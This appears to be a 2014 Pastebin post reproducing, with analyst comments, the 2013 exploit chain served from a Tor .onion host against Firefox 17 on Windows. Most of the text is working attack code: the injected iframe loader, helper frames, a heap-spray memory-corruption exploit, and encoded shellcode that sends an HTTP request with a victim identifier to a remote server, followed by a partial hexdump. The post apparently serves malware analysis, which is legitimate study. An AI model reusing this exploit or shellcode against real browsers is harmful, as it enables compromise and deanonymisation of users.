access2godzilla

Exploits delivered from through nl7qbezu7pqsuone.onion

Apr 15th, 2014
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.59 KB | None | 0 0
  1. /****************************************************************************
  2. * Exploits delivered from through nl7qbezu7pqsuone.onion (2013-08-03):
  3. *
  4. * The compromised server inserts a run-of-the-mill unobfuscated iframe
  5. * injection script; others have observed this and samples have been posted.
  6. *
  7. * The exploit is split across three files and presumably an ultimate
  8. * payload of malware that was not obtained.
  9. */
  10.  
  11. // To preserve the JavaScript syntax highlighting, non-JS bits are commented out.
  12.  
  13. /****************************************************************************
  14. * A somewhat cleaned up version is presented first, the original exploit
  15. * as first downloaded follows.
  16. *
  17. * This appears to be an exploit in the Firefox 17 JS runtime. The script
  18. * does not attempt the exploit unless running on Firefox 17 on Windows.
  19. */
  20.  
  21. /****************************************************************************
  22. * A compromised server inserts a script like the following.
  23. * The XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX is a UUID generated by the server.
  24. * The exploit host will serve the exploit for any UUID, however.
  25. * I used 05cea4de-951d-4037-bf8f-f69055b279bb for this analysis.
  26. * The UUID is embedded in the shellcode.
  27. */
  28.  
  29. //<script type='text/javascript'>
  30.  
  31. function createCookie(name,value,minutes) {
  32. if (minutes) {
  33. var date = new Date();
  34. date.setTime(date.getTime()+(minutes*60*1000));
  35. var expires = "; expires="+date.toGMTString();
  36. }
  37. else var expires = "";
  38. document.cookie = name+"="+value+expires+"; path=/";
  39. }
  40.  
  41. function readCookie(name) {
  42. var nameEQ = name + "=";
  43. var ca = document.cookie.split(';');
  44. for(var i=0;i < ca.length;i++) {
  45. var c = ca[i];
  46. while (c.charAt(0)==' ') c = c.substring(1,c.length);
  47. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  48. }
  49. return null;
  50. }
  51.  
  52. function isFF() {
  53. return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));
  54. }
  55.  
  56. function updatify() {
  57. var iframe = document.createElement('iframe');
  58. iframe.style.display = "inline";
  59. iframe.frameBorder = "0";
  60. iframe.scrolling = "no";
  61. iframe.src = "http://nl7qbezu7pqsuone.onion?requestID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
  62. iframe.height = "5";
  63. iframe.width = "*";
  64. document.body.appendChild(iframe);
  65. }
  66.  
  67. function format_quick() {
  68. if ( ! readCookie("n_serv") ) {
  69. createCookie("n_serv", "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", 30);
  70. updatify();
  71. }
  72. }
  73.  
  74. function isReady()
  75. {
  76. if ( document.readyState === "interactive" || document.readyState === "complete" ) {
  77.  
  78. if ( isFF() ) {
  79. format_quick();
  80. }
  81. }
  82. else
  83. {
  84. setTimeout(isReady, 250);
  85. }
  86. }
  87. setTimeout(isReady, 250);
  88. //</script>
  89.  
  90. /****************************************************************************
  91. * The exploit server at nl7qbezu7pqsuone.onion also delivers two supporting
  92. * pieces that are loaded into their own iframes. Since they are short,
  93. * they are included before the main exploit.
  94. *
  95. * (All lines containing HTML are commented out.)
  96. */
  97.  
  98. //// "content_2.html"
  99. // <html><body></body></html>
  100. // <script>
  101. var y="?????", url=window.location.href;
  102. if(0>url.indexOf(y)) {
  103. var iframe=document.createElement("iframe");
  104. iframe.src="content_3.html";
  105. document.body.appendChild(iframe)
  106. } else parent.w();
  107. function df(){return parent.df()};
  108. // </script>
  109.  
  110. //// "content_3.html"
  111. // <script>
  112. var y="?????",z="<body><img height='1' width='1' src='error.html' onerror=\"javascript: window.location.href='content_2.html?????';\" ></body>",flag=!1,var83=0;
  113.  
  114. function b() {
  115. for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)
  116. e[c]=new ArrayBuffer(180);
  117. for(c=0;1024>c;c++)
  118. d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;
  119. return d
  120. }
  121. function a() {
  122. !1==flag && (flag=!0,window.stop());
  123. window.stop();
  124. b();
  125. window.parent.frames[0].frameElement.ownerDocument.write(z);
  126. b()
  127. }
  128. var83 = parent.df();
  129. 0!=var83 && document.addEventListener("readystatechange",a,!1);
  130. // </script>
  131.  
  132. //// The main exploit
  133. // <html>
  134. // <body>
  135. // <iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
  136. // </body>
  137. // </html>
  138.  
  139. // <script>
  140.  
  141. var var1=0xB0;
  142. var var2 = new Array(var1);
  143. var var3 = new Array(var1);
  144. var var4 = new Array(var1);
  145.  
  146. var var5=0xFF004;
  147. var var6=0x3FC01;
  148.  
  149. var var7=0x60000000;
  150. var var8=0x18000000;
  151.  
  152.  
  153. var var9=1;
  154.  
  155. var var10 = 0x12000000;
  156. var var11 = 0;
  157. var var12=0; // set in b() if on Firefox 17, read in df()
  158. // exploit will not be attempted unless var12 is set
  159.  
  160. var var13 =0;
  161.  
  162. // top entry point, called as onload handler
  163. function u()
  164. {
  165. if( t() == true )
  166. {
  167. var9 = 1;
  168. b();
  169. d();
  170. c();
  171. }else{
  172. return ;
  173. }
  174. }
  175.  
  176. function t() // only attempt the exploit once per session
  177. {
  178. if(typeof sessionStorage.tempStor !="undefined")
  179. return false;
  180. sessionStorage.tempStor="";
  181. return true;
  182. }
  183.  
  184. function b()
  185. {
  186. var version = al(); // ensure Firefox on Windows
  187. if(version <17)
  188. {
  189. window.location.href="content_1.html";
  190. } // "content_1.html" was never obtained
  191. if( version >=17 && version <18 )
  192. var12 = 0xE8;
  193. return ;
  194. }
  195.  
  196. function aj(version) // confirm Windows platform
  197. {
  198. var i = navigator.userAgent.indexOf("Windows NT");
  199. if (i != -1)
  200. return true;
  201. return false;
  202. }
  203.  
  204. function ak() // confirm Firefox browser
  205. {
  206. var ua = navigator.userAgent;
  207. var browser = ua.substring(0, ua.lastIndexOf("/"));
  208. browser = browser.substring(browser.lastIndexOf(" ") + 1);
  209. if (browser != "Firefox")
  210. return -1;
  211.  
  212. var version = ua.substring(ua.lastIndexOf("/") + 1);
  213. version = parseInt(version.substring(0, version.lastIndexOf(".")));
  214. return version;
  215. }
  216.  
  217. function al() // get browser version, -1 if not exploitable
  218. {
  219. version = ak();
  220.  
  221. if (!aj(version))
  222. return -1;
  223. return version;
  224. }
  225.  
  226. function d()
  227. {
  228. for(var j=0;j<var1;j++)
  229. {
  230. if( j<var1/8 || j==var1-1)
  231. {
  232. var tabb = new Array(0x1ED00);
  233. var4[j]=tabb;
  234. for(i=0;i<0x1ED00;i++)
  235. {
  236. var4[j][i]=0x11559944;
  237. }
  238. }
  239. var2[j]= new ArrayBuffer(var5);
  240. }
  241. for(var j=0;j<var1;j++)
  242. {
  243. var3[j]= new Int32Array(var2[j],0,var6);
  244. var3[j][0]=0x11336688;
  245.  
  246. for(var i=1;i<16;i++)
  247. {
  248. var3[j][0x4000*i] = 0x11446688;
  249. }
  250.  
  251. }
  252.  
  253. for(var j=0;j<var1;j++)
  254. {
  255. if(typeof var4[j] !="undefined")
  256. {
  257. var4[j][0]=0x22556611;
  258. }
  259. }
  260. }
  261.  
  262. // load the next piece of the exploit
  263. function c()
  264. {
  265. var iframe=document.getElementById("iframe");
  266. iframe.src="content_2.html";
  267. }
  268.  
  269. // functions below here are called from the other iframes
  270.  
  271. // df() is passed through content_2 and used by content_3
  272. // called nowhere else
  273. // The exploit is not attempted if this returns zero.
  274. // Note that var12 will be zero unless on Firefox 17.
  275. // The returned value is used as part of a heap spray in content_3.
  276. function df()
  277. {
  278. if(var12==0)
  279. {
  280. return 0x00000000;
  281. }
  282. var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
  283.  
  284. if( var9 == 1 || var9 == 2)
  285. return ( var14 - var12);
  286. else
  287. return 0x00000000;
  288. }
  289.  
  290. // w() is called from the second time content_2 is loaded
  291. function w()
  292. {
  293. if(var9==1)
  294. v();
  295. else
  296. x();
  297. }
  298.  
  299. function v()
  300. {
  301. if(k() == -1)
  302. {
  303. var11 = p();
  304. var9 = 2;
  305. c();
  306. }else{
  307. x();
  308. }
  309. }
  310.  
  311. // This quickly becomes a huge mess that is obviously depending
  312. // on the JS runtime to screw up in some arcane way. Little is
  313. // known about the actual exploit, other than some apparent
  314. // shellcode in function f(). Here be dragons.
  315.  
  316. function k()
  317. {
  318. for(var j=0;j<var1;j++)
  319. {
  320. if(var2[j].byteLength!=var5)
  321. {
  322. return j;
  323. }
  324. }
  325. return -1;
  326. }
  327.  
  328. function p()
  329. {
  330. for(var j=0;j<var1;j++)
  331. {
  332. for(var i=1;i<16;i++)
  333. {
  334. if(var3[j][i*0x4000-0x02]==0x01000000)
  335. {
  336. return -i;
  337. }
  338. }
  339. }
  340. return 0;
  341. }
  342.  
  343. function x()
  344. {
  345.  
  346. var var60 = k();
  347. if(var60==-1)
  348. return ;
  349.  
  350. var nextvar60 = q(var60);
  351. if(nextvar60==-1)
  352. return ;
  353.  
  354. var var61 = o(var60);
  355. var var62 = new Int32Array(var2[nextvar60],0,var8);
  356. var var58 = n(var62,var61);
  357. if(var58==-1)
  358. return ;
  359.  
  360. var var50 = m(var62,var58);
  361.  
  362. var13 = var10 + 0x00100000 + 0x00010000 * var11;
  363. e(var62);
  364.  
  365. l(var62,var58);
  366.  
  367. var var64 = var4[var50][0];
  368.  
  369. ac(var64,var50,var62,var58,var60);
  370. }
  371.  
  372. function q(var60)
  373. {
  374. var view = new Int32Array(var2[var60],0,0x00040400);
  375. view[0x00100000/4-0x02]=var7;
  376. if(var2[var60+1].byteLength==var7)
  377. return var60+1;
  378. return -1;
  379. }
  380.  
  381. function o(var60)
  382. {
  383. var view = new Int32Array(var2[var60],0,0x00040400);
  384.  
  385. var var59 = view[0x00100000/4-0x0C];
  386. var var57 = var10 + 0x00100000 + 0x00010000 * var11;
  387.  
  388. return ((var59 - var57)/4);
  389. }
  390.  
  391. function n(view,firstvar58)
  392. {
  393. var var57 = var10 + 0x00100000 + 0x00010000 * var11;
  394. var var58=0;
  395. for(var i=0;i<200;i++)
  396. {
  397. if(view[var58] != 0x11336688)
  398. {
  399. if(view[var58] == 0x22556611 )
  400. return var58;
  401. else
  402. return -1;
  403. }
  404. if(var58==0)
  405. {
  406. var58 = firstvar58;
  407. }else{
  408. var var59=view[var58-0x0C];
  409. var58 = (var59 - var57)/4;
  410. }
  411. }
  412. return -1;
  413. }
  414.  
  415. function m(view,var58)
  416. {
  417. view[var58]=0x00000000;
  418. for(var j=0;j<var1;j++)
  419. {
  420. if(typeof var4[j] !="undefined")
  421. {
  422. if(var4[j][0]!=0x22556611)
  423. return j;
  424. }
  425. }
  426. return -1
  427. }
  428.  
  429. function e(view)
  430. {
  431. var i=0;
  432. for(i=0;i<0x400;i++)
  433. {
  434. view[i] = var13+0x1010 ;
  435. }
  436. view[0x0]=var13+0x1010;
  437. view[0x44]=0x0;
  438. view[0x45]=0x0;
  439. view[0x400-4]=var13+0x1010;
  440. view[0x400]=0x00004004;
  441. view[0x401]=0x7FFE0300;
  442. }
  443.  
  444. function l(view,var58)
  445. {
  446. view[var58] = var13 + 0x1030;
  447. view[var58+1] = 0xFFFFFF85;
  448. }
  449.  
  450. function ac(var64,var50,var62,var58,var60)
  451. {
  452. var var15=ah(var64);
  453.  
  454. f(var15,var62,var58);
  455.  
  456. y(var50);
  457. var var66 = aa(var62,var58+2);
  458.  
  459. var var67 = i(var66,0x40,var50,var62) ;
  460. j(var67,var62);
  461.  
  462. g(var50,var62);
  463. ab(var13+0x1040 ,var62,var58+2);
  464.  
  465. r(var60)
  466. setTimeout(ad,1000);
  467. z(var50);
  468. }
  469.  
  470. function ah(var73)
  471. {
  472. var var74 = var73.substring(0,2);
  473. var var70 = var74.charCodeAt(0);
  474. var var71 = var74.charCodeAt(1);
  475. var var75 = (var71 << 16) + var70;
  476. if (var75 == 0)
  477. {
  478. var var76 = var73.substring(32, 34);
  479. var var70 = var76.charCodeAt(0);
  480. var var71 = var76.charCodeAt(1);
  481. var75 = (var71 << 16) + var70;
  482. }
  483. var var15 = am(var75);
  484. if (var15 == -1)
  485. {
  486. return;
  487. }
  488. return var15
  489. }
  490.  
  491. function am(var77)
  492. {
  493. var var15 = new Array(2);
  494. if (var77 % 0x10000 == 0xE510)
  495. {
  496. var78 = var77 - 0xE510;
  497. var15[0] = var78 + 0xE8AE;
  498. var15[1] = var78 + 0xD6EE;
  499. }
  500. else if (var77 % 0x10000 == 0x9A90)
  501. {
  502. var78 = var77 - 0x69A90;
  503. var15[0] = var78 + 0x6A063;
  504. var15[1] = var78 + 0x68968;
  505. }
  506. else if (var77 % 0x10000 == 0x5E70)
  507. {
  508. var78 = var77 - 0x65E70;
  509. var15[0] = var78 + 0x66413;
  510. var15[1] = var78 + 0x64D34;
  511. }
  512. else if (var77 % 0x10000 == 0x35F3)
  513. {
  514. var78 = var77 - 0x335F3;
  515. var15[0] = var78 + 0x4DE13;
  516. var15[1] = var78 + 0x49AB8;
  517. }
  518. else if (var77 % 0x10000 == 0x5CA0)
  519. {
  520. var78 = var77 - 0x65CA0;
  521. var15[0] = var78 + 0x66253;
  522. var15[1] = var78 + 0x64B84;
  523. }
  524. else if (var77 % 0x10000 == 0x5CD0)
  525. {
  526. var78 = var77 - 0x65CD0;
  527. var15[0] = var78 + 0x662A3;
  528. var15[1] = var78 + 0x64BA4;
  529.  
  530. }
  531. else if (var77 % 0x10000 == 0x6190)
  532. {
  533. var78 = var77 - 0x46190;
  534. var15[0] = var78 + 0x467D3;
  535. var15[1] = var78 + 0x45000;
  536.  
  537. }
  538. else if (var77 % 0x10000 == 0x9CB9)
  539. {
  540. var78 = var77 - 0x29CB9;
  541. var15[0] = var78 + 0x29B83;
  542. var15[1] = var78 + 0xFFC8;
  543. }
  544. else if (var77 % 0x10000 == 0x9CE9)
  545. {
  546. var78 = var77 - 0x29CE9;
  547. var15[0] = var78 + 0x29BB3;
  548. var15[1] = var78 + 0xFFD8;
  549. }
  550. else if (var77 % 0x10000 == 0x70B0)
  551. {
  552. var78 = var77 - 0x470B0;
  553. var15[0] = var78 + 0x47733;
  554. var15[1] = var78 + 0x45F18;
  555. }
  556. else if (var77 % 0x10000 == 0x7090)
  557. {
  558. var78 = var77 - 0x47090;
  559. var15[0] = var78 + 0x476B3;
  560. var15[1] = var78 + 0x45F18;
  561. }
  562. else if (var77 % 0x10000 == 0x9E49)
  563. {
  564. var78 = var77 - 0x29E49;
  565. var15[0] = var78 + 0x29D13;
  566. var15[1] = var78 + 0x10028;
  567. }
  568. else if (var77 % 0x10000 == 0x9E69)
  569. {
  570. var78 = var77 - 0x29E69;
  571. var15[0] = var78 + 0x29D33;
  572. var15[1] = var78 + 0x10018;
  573. }
  574.  
  575. else if (var77 % 0x10000 == 0x9EB9)
  576. {
  577. var78 = var77 - 0x29EB9;
  578. var15[0] = var78 + 0x29D83;
  579. var15[1] = var78 + 0xFFC8;
  580. }
  581. else
  582. {
  583. return -1;
  584. }
  585.  
  586. return var15;
  587. }
  588.  
  589. function f(var15,view,var16)
  590. {
  591. var magneto = "";
  592. var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
  593. var var29 = magneto;
  594. var var17 = "\u9060";
  595. var var18 = "\u9061";
  596. var var19 = "\uC481\u0000\u0008" ;
  597. var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
  598. var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
  599. var var22 = "\uE589";
  600. var var23 ="\uC3C9";
  601. var var24 = "\uE889";
  602. var24 += "\u608D\u90C0";
  603.  
  604. var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
  605. var var26 = var25 + var16*4
  606.  
  607. var var27 =""
  608. var27 += "\uB890\u2020\u2020";
  609. var27 += "\uA390"+ae(var26+0x00);
  610. var27 += "\uA390"+ae(var26+0x04);
  611. var27 += "\uA390"+ae(var26+0x08);
  612. var27 += "\uA390"+ae(var26+0x0C);
  613.  
  614. var var28 = var17;
  615. var28 += var20;
  616. var28 += var19;
  617. var28 += var22;
  618. var28 += var27;
  619. var28 += var29;
  620. var28 += var21;
  621. var28 += var18;
  622. var28 += var23;
  623. var var29Array = new Array();
  624. var29Array=ag(var28);
  625.  
  626. var var29Ad = var13+0x5010;
  627. var i=0;
  628. var j=0;
  629. var var30=var13+0x4048;
  630. var var31 = new Array();
  631.  
  632. var31[0]=var30;
  633. var31[1]=var30;
  634. var31[2]=var30;
  635. var31[3]=var15[1];
  636. var31[4]=var29Ad;
  637. var31[5]=0xFFFFFFFF;
  638. var31[6]=var13+0x4044;
  639. var31[7]=var13+0x4040;
  640. var31[8]=0x00000040;
  641. var31[9]=var13+0x4048;
  642. var31[10]=0x00040000;
  643. var31[11]=var29Ad;
  644. var31[12]=var13+0x301C;
  645.  
  646. for(var i=0 ; i < 0x140 ; i++)
  647. {
  648. var31[i+15]=var15[0];
  649. }
  650. var var32 = 0x3F8;
  651. view[0x800+0+var32]=var13+0x4018;
  652. view[0x800+1+var32]=var13+0x4018;
  653. for(var i=2 ; i < var31.length ; i++)
  654. {
  655. view[0x800+i+var32]= 0x41414141;
  656. }
  657. for(var i=0 ; i < var31.length ; i++)
  658. {
  659. view[0xC02+i+var32]= var31[i];
  660. }
  661. for(var i=0 ; i < var29Array.length ; i++)
  662. {
  663. view[0x1000 + i+var32] = var29Array[i];
  664. }
  665.  
  666. }
  667.  
  668. function ae(int32)
  669. {
  670. var var68 = String.fromCharCode((int32)& 0x0000FFFF);
  671. var var69 = String.fromCharCode((int32 >> 16) & 0x0000FFFF);
  672. return var68+var69;
  673. }
  674.  
  675. function af(string)
  676. {
  677. var var70 = string.charCodeAt(0);
  678. var var71 = string.charCodeAt(1);
  679. var var72 = (var71 << 16) + var70;
  680. return var72;
  681. }
  682.  
  683. function ag(string)
  684. {
  685. if(string.length%2!=0)
  686. string+="\u9090";
  687. var intArray= new Array();
  688. for(var i=0 ; i*2 < string.length; i++ )
  689. intArray[i]=af(string[i*2]+string[i*2+1]);
  690. return intArray;
  691. }
  692.  
  693. function y(index)
  694. {
  695. var4[index][1]= document.createElement('span') ;
  696. }
  697.  
  698. function aa(view,var63)
  699. {
  700. return view[var63];
  701. }
  702.  
  703. function i(address,size,var50,view)
  704. {
  705. var var56 = size/2;
  706. var56 = var56*0x10 +0x04;
  707. view[0x400]=var56;
  708. view[0x401]=address;
  709. return var4[var50][0];
  710. }
  711.  
  712. function j(memory,view)
  713. {
  714. var intArray=ag(memory);
  715. for(var i=0 ; i < intArray.length ; i++)
  716. {
  717. view[0x404+i]=intArray[i];
  718. }
  719. }
  720.  
  721. function g(var50,view)
  722. {
  723. var k = h(var50,view);
  724. var j=0;
  725. if( k < 0 )
  726. return -1;
  727. view[0x404+k]=var13+0x3010;
  728. return 1;
  729. }
  730.  
  731. function h(var50,view)
  732. {
  733. var address=0;
  734. var u=0;
  735. var memory="";
  736. var var55=0;
  737. for( u =7; u >=4 ;u--)
  738. {
  739. address=view[0x404+u];
  740. if( address > 0x000A0000 && address < 0x80000000 )
  741. {
  742. memory = i(address,0x48,var50,view);
  743. var55=af(memory[0x14]+memory[0x15]);
  744. if(var55==address)
  745. {
  746. return u;
  747. }
  748. }
  749. }
  750. return -1;
  751. }
  752.  
  753. function ab(address,view,var63)
  754. {
  755. view[var63]=address;
  756. }
  757.  
  758. function r(var60)
  759. {
  760. var view = new Int32Array(var2[var60],0,0x00040400);
  761. view[0x00100000/4-0x02]=var5;
  762. }
  763.  
  764. function z(index,index2)
  765. {
  766. var4[index][1].innerHTML;
  767. }
  768.  
  769. // ad() is called through setTimeout
  770. function ad()
  771. {
  772. for(var j=0;j<var1;j++)
  773. {
  774. delete var3[j]
  775. var3[j]= null;
  776.  
  777. delete var2[j];
  778. var2[j] = null;
  779.  
  780. if(typeof var4[j] !="undefined")
  781. {
  782. delete var4[j];
  783. var4[j] = null;
  784. }
  785. }
  786. delete var2;
  787. delete var3;
  788. delete var4;
  789. var2=null;
  790. var3=null;
  791. var4=null;
  792. }
  793.  
  794. window.addEventListener("onload", u(),true);
  795.  
  796. // </script>
  797.  
  798. /****************************************************************************
  799. * This a hexdump of the shellcode block as "var magneto" in f() above.
  800. */
  801. // 0000 60 fc e8 8a 00 00 00 60 89 e5 31 d2 64 8b 52 30 |`......`..1.d.R0|
  802. // 0010 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 |.R..R..r(..J&1.1|
  803. // 0020 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 |..<a|., .......R|
  804. // 0030 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a |W.R..B<...@x..tJ|
  805. // 0040 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 |..P.H..X ...<I.4|
  806. // 0050 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 |...1.1.......8.u|
  807. // 0060 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 |..}.;}$u.X.X$..f|
  808. // 0070 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 |..K.X.........D$|
  809. // 0080 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 |$[[aYZQ..X_Z....|
  810. // 0090 05 5d 81 bd e9 02 00 00 47 45 54 20 75 70 8d 85 |.]......GET up..|
  811. // 00a0 d1 02 00 00 50 68 4c 77 26 07 ff d5 85 c0 74 5e |....PhLw&.....t^|
  812. // 00b0 8d 85 d8 02 00 00 50 68 4c 77 26 07 ff d5 85 c0 |......PhLw&.....|
  813. // 00c0 74 4c bb 90 01 00 00 29 dc 54 53 68 29 80 6b 00 |tL.....).TSh).k.|
  814. // 00d0 ff d5 01 dc 85 c0 75 36 50 50 50 50 40 50 40 50 |......u6PPPP@P@P|
  815. // 00e0 68 ea 0f df e0 ff d5 31 db f7 d3 39 c3 74 1f 89 |h......1...9.t..|
  816. // 00f0 c3 6a 10 8d b5 e1 02 00 00 56 53 68 99 a5 74 61 |.j.......VSh..ta|
  817. // 0100 ff d5 85 c0 74 1f fe 8d 89 00 00 00 75 e3 80 bd |....t.......u...|
  818. // 0110 4f 02 00 00 01 74 07 e8 3b 01 00 00 eb 05 e8 4d |O....t..;......M|
  819. // 0120 01 00 00 ff e7 b8 00 01 00 00 29 c4 89 e2 52 50 |..........)...RP|
  820. // 0130 52 68 b6 49 de 01 ff d5 5f 81 c4 00 01 00 00 85 |Rh.I...._.......|
  821. // 0140 c0 0f 85 f2 00 00 00 57 e8 f9 00 00 00 5e 89 ca |.......W.....^..|
  822. // 0150 8d bd e9 02 00 00 e8 eb 00 00 00 4f 83 fa 20 7c |...........O.. ||
  823. // 0160 05 ba 20 00 00 00 89 d1 56 f3 a4 b9 0d 00 00 00 |.. .....V.......|
  824. // 0170 8d b5 c4 02 00 00 f3 a4 89 bd 4b 02 00 00 5e 56 |..........K...^V|
  825. // 0180 68 a9 28 34 80 ff d5 85 c0 0f 84 aa 00 00 00 66 |h.(4...........f|
  826. // 0190 8b 48 0a 66 83 f9 04 0f 82 9c 00 00 00 8d 40 0c |.H.f..........@.|
  827. // 01a0 8b 00 8b 08 8b 09 b8 00 01 00 00 50 89 e7 29 c4 |...........P..).|
  828. // 01b0 89 e6 57 56 51 51 68 48 72 d2 b8 ff d5 85 c0 81 |..WVQQhHr.......|
  829. // 01c0 c4 04 01 00 00 0f b7 0f 83 f9 06 72 6c b9 06 00 |...........rl...|
  830. // 01d0 00 00 b8 10 00 00 00 29 c4 89 e7 89 ca d1 e2 50 |.......).......P|
  831. // 01e0 52 31 d2 8a 16 88 d0 24 f0 c0 e8 04 3c 09 77 04 |R1.....$....<.w.|
  832. // 01f0 04 30 eb 02 04 37 88 07 47 88 d0 24 0f 3c 09 77 |.0...7..G..$.<.w|
  833. // 0200 04 04 30 eb 02 04 37 88 07 47 46 e2 d4 59 29 cf |..0...7..GF..Y).|
  834. // 0210 89 fe 58 01 c4 8b bd 4b 02 00 00 f3 a4 c6 85 4f |..X....K.......O|
